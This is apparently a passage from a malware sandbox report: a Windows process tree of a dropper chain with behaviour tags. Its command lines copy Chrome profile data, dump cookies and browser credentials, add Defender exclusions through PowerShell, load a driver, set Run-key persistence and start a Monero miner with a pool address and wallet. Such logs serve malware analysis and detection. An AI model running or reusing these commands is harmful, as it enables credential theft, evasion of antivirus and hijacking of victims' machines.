C:\Users\Admin\AppData\Local\Temp\is-EOCPB.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-EOCPB.tmp\ProPlugin.exe" /Verysilent12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GU3FM.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-GU3FM.tmp\ProPlugin.tmp" /SL5="$C0B84,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-EOCPB.tmp\ProPlugin.exe" /Verysilent13⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kpuv4zrlpob\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\kpuv4zrlpob\askinstall24.exe"8⤵
- Drops Chrome extension
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99\" /s /e /y9⤵
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\gjsqz12sfad\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\gjsqz12sfad\chashepro3.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4LHGL.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-4LHGL.tmp\chashepro3.tmp" /SL5="$50C90,2012497,58368,C:\Users\Admin\AppData\Local\Temp\gjsqz12sfad\chashepro3.exe" /VERYSILENT9⤵
- Drops file in Program Files directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\uj10u3bkyhz\iq5oumngdzm.exe"C:\Users\Admin\AppData\Local\Temp\uj10u3bkyhz\iq5oumngdzm.exe" /ustwo INSTALL8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5972 -s 6569⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5972 -s 6649⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5972 -s 6529⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5972 -s 6369⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1hrjmuofvad\app.exe"C:\Users\Admin\AppData\Local\Temp\1hrjmuofvad\app.exe" /8-238⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Snowy-Cherry"9⤵
-
-
C:\Program Files (x86)\Snowy-Cherry\7za.exe"C:\Program Files (x86)\Snowy-Cherry\7za.exe" e -p154.61.71.51 winamp-plugins.7z9⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵
- Executes dropped EXE
-
C:\ProgramData\4130436.45"C:\ProgramData\4130436.45"5⤵
- Executes dropped EXE
-
-
C:\ProgramData\7141321.78"C:\ProgramData\7141321.78"5⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\216335.2"C:\ProgramData\216335.2"5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Drops startup file
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8AfYmpCcgsWEG7YT6uL822JNdkh2dnvciZRHb3P2JcvDQEDvKTw2cyjRf99gEAMijX9DmFynXCxvPA5tJD1MNKjMSqq6YeH -p x -k -v=0 --donate-level=1 -t 16⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\6327913.69"C:\ProgramData\6327913.69"5⤵
- Executes dropped EXE
-
-
C:\ProgramData\873988.9"C:\ProgramData\873988.9"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\ProgramData\873988.9"{path}"6⤵
-
-
C:\ProgramData\873988.9"{path}"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9D4DAB911D94DDA80EBA3C16A5F85D7E C2⤵
- Loads dropped DLL
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EE4O2.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-EE4O2.tmp\Setup3310.tmp" /SL5="$7002E,802346,56832,C:\Users\Admin\AppData\Local\Temp\whz50cqhbr0\Setup3310.exe" /Verysilent /subid=5771⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-DKH8A.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-DKH8A.tmp\Setup.exe" /Verysilent2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-PMJTI.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-PMJTI.tmp\Setup.tmp" /SL5="$30350,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-DKH8A.tmp\Setup.exe" /Verysilent3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\ProPlugin.exe" /Verysilent4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-6P3JU.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-6P3JU.tmp\ProPlugin.tmp" /SL5="$204B8,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\ProPlugin.exe" /Verysilent5⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-PQE8V.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-PQE8V.tmp\Setup.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"7⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\regedit.exeregedit /s chrome.reg8⤵
- Runs .reg file with regedit
-
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe8⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat8⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)9⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\chrome64.bat" h"10⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"11⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xe0,0xe4,0xe8,0xbc,0xec,0x7ffe30546e00,0x7ffe30546e10,0x7ffe30546e2012⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1856 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2496 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2452 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1804 /prefetch:212⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2868 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3104 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4408 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1760,10958180390736359854,1372139899346314109,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4296 /prefetch:812⤵
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg8⤵
- Runs .reg file with regedit
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b firefox8⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b chrome8⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\parse.exeparse.exe -f json -b edge8⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\PictureLAb.exe" /Verysilent4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-LO54G.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-LO54G.tmp\PictureLAb.tmp" /SL5="$20494,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-BEGAE.tmp\PictureLAb.exe" /Verysilent5⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-3GMO4.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-3GMO4.tmp\Setup.exe" /VERYSILENT6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-7O3A0.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-7O3A0.tmp\Setup.tmp" /SL5="$3052C,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-3GMO4.tmp\Setup.exe" /VERYSILENT7⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-P5U6L.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-P5U6L.tmp\kkkk.exe" /S /UID=lab2148⤵
-
C:\Program Files\MSBuild\GIQLMQXGYP\prolab.exe"C:\Program Files\MSBuild\GIQLMQXGYP\prolab.exe" /VERYSILENT9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-HEBP5.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-HEBP5.tmp\prolab.tmp" /SL5="$50438,575243,216576,C:\Program Files\MSBuild\GIQLMQXGYP\prolab.exe" /VERYSILENT10⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\99-6100c-4d3-b4d8a-2aa37d7cdc984\Mecosheqaela.exe"C:\Users\Admin\AppData\Local\Temp\99-6100c-4d3-b4d8a-2aa37d7cdc984\Mecosheqaela.exe"9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1hjq0stv.wr2\GcleanerWW.exe /mixone & exit10⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5jouzooo.zwl\privacytools5.exe & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\5jouzooo.zwl\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\5jouzooo.zwl\privacytools5.exe11⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Modifies Control Panel
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\5jouzooo.zwl\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\5jouzooo.zwl\privacytools5.exe12⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c3dvkzke.tck\setup.exe /8-2222 & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\c3dvkzke.tck\setup.exeC:\Users\Admin\AppData\Local\Temp\c3dvkzke.tck\setup.exe /8-222211⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Proud-Shape"12⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h4l24kgv.cbo\MultitimerFour.exe & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\h4l24kgv.cbo\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\h4l24kgv.cbo\MultitimerFour.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\I9EEQCY8LK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\I9EEQCY8LK\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10412⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\I9EEQCY8LK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\I9EEQCY8LK\multitimer.exe" 1 3.1615070226.604404127afff 10413⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\I9EEQCY8LK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\I9EEQCY8LK\multitimer.exe" 2 3.1615070226.604404127afff14⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\yfwco2ueyzl\p1jxz1bner1.exe"C:\Users\Admin\AppData\Local\Temp\yfwco2ueyzl\p1jxz1bner1.exe" /ustwo INSTALL15⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 64816⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 68016⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 62816⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 66016⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 89216⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 92816⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6832 -s 113216⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\5z1ipe2bffv\vict.exe"C:\Users\Admin\AppData\Local\Temp\5z1ipe2bffv\vict.exe" /VERYSILENT /id=53515⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4767U.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-4767U.tmp\vict.tmp" /SL5="$401E4,870426,780800,C:\Users\Admin\AppData\Local\Temp\5z1ipe2bffv\vict.exe" /VERYSILENT /id=53516⤵
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\is-L3M3V.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-L3M3V.tmp\wimapi.exe" 53517⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\xgmu1vojnpo\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\xgmu1vojnpo\Setup3310.exe" /Verysilent /subid=57715⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IAL25.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-IAL25.tmp\Setup3310.tmp" /SL5="$2045A,802346,56832,C:\Users\Admin\AppData\Local\Temp\xgmu1vojnpo\Setup3310.exe" /Verysilent /subid=57716⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-CCGP0.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-CCGP0.tmp\Setup.exe" /Verysilent17⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QE0FD.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-QE0FD.tmp\Setup.tmp" /SL5="$504EC,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-CCGP0.tmp\Setup.exe" /Verysilent18⤵
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\ProPlugin.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-C5VMI.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-C5VMI.tmp\ProPlugin.tmp" /SL5="$2059C,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\ProPlugin.exe" /Verysilent20⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-QQDAC.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-QQDAC.tmp\Setup.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"22⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\PictureLAb.exe" /Verysilent19⤵
-
C:\Users\Admin\AppData\Local\Temp\is-TENMJ.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-TENMJ.tmp\PictureLAb.tmp" /SL5="$406B4,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-IGD5J.tmp\PictureLAb.exe" /Verysilent20⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EVMJ2.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-EVMJ2.tmp\Setup.exe" /VERYSILENT21⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8119O.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-8119O.tmp\Setup.tmp" /SL5="$40720,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-EVMJ2.tmp\Setup.exe" /VERYSILENT22⤵
-
C:\Users\Admin\AppData\Local\Temp\is-K6FST.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-K6FST.tmp\kkkk.exe" /S /UID=lab21423⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\e7-f5aea-69f-4dcbf-81981dcf22c4c\ZHenyxutory.exe"C:\Users\Admin\AppData\Local\Temp\e7-f5aea-69f-4dcbf-81981dcf22c4c\ZHenyxutory.exe"24⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dsjankpz.0vn\GcleanerWW.exe /mixone & exit25⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ofwtvf1b.zrj\privacytools5.exe & exit25⤵
-
C:\Users\Admin\AppData\Local\Temp\ofwtvf1b.zrj\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\ofwtvf1b.zrj\privacytools5.exe26⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\ofwtvf1b.zrj\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\ofwtvf1b.zrj\privacytools5.exe27⤵
- Suspicious behavior: MapViewOfSection
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zork2ztr.1nw\setup.exe /8-2222 & exit25⤵
-
C:\Users\Admin\AppData\Local\Temp\zork2ztr.1nw\setup.exeC:\Users\Admin\AppData\Local\Temp\zork2ztr.1nw\setup.exe /8-222226⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Lively-Butterfly"27⤵
-
-
C:\Program Files (x86)\Lively-Butterfly\7za.exe"C:\Program Files (x86)\Lively-Butterfly\7za.exe" e -p154.61.71.51 winamp-plugins.7z27⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Lively-Butterfly\setup.exe" -map "C:\Program Files (x86)\Lively-Butterfly\WinmonProcessMonitor.sys""27⤵
-
C:\Program Files (x86)\Lively-Butterfly\setup.exe"C:\Program Files (x86)\Lively-Butterfly\setup.exe" -map "C:\Program Files (x86)\Lively-Butterfly\WinmonProcessMonitor.sys"28⤵
- Drops file in Program Files directory
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Lively-Butterfly\7za.exe"C:\Program Files (x86)\Lively-Butterfly\7za.exe" e -p154.61.71.51 winamp.7z27⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mcqp41yw.sg0\MultitimerFour.exe & exit25⤵
-
C:\Users\Admin\AppData\Local\Temp\mcqp41yw.sg0\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\mcqp41yw.sg0\MultitimerFour.exe26⤵
-
C:\Users\Admin\AppData\Local\Temp\PK5V1HBEIY\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PK5V1HBEIY\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10427⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\PK5V1HBEIY\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PK5V1HBEIY\multitimer.exe" 1 3.1615070337.60440481a3659 10428⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\PK5V1HBEIY\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PK5V1HBEIY\multitimer.exe" 2 3.1615070337.60440481a365929⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\ahbzgasliif\vict.exe"C:\Users\Admin\AppData\Local\Temp\ahbzgasliif\vict.exe" /VERYSILENT /id=53530⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2LJJQ.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-2LJJQ.tmp\vict.tmp" /SL5="$20850,870426,780800,C:\Users\Admin\AppData\Local\Temp\ahbzgasliif\vict.exe" /VERYSILENT /id=53531⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JOK8P.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-JOK8P.tmp\wimapi.exe" 53532⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\5hhboyszojc\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\5hhboyszojc\chashepro3.exe" /VERYSILENT30⤵
-
C:\Users\Admin\AppData\Local\Temp\is-E5HOF.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-E5HOF.tmp\chashepro3.tmp" /SL5="$A05D6,2012497,58368,C:\Users\Admin\AppData\Local\Temp\5hhboyszojc\chashepro3.exe" /VERYSILENT31⤵
- Drops file in Program Files directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\jo5z230n23o\zgwr0aae2ub.exe"C:\Users\Admin\AppData\Local\Temp\jo5z230n23o\zgwr0aae2ub.exe" /ustwo INSTALL30⤵
-
-
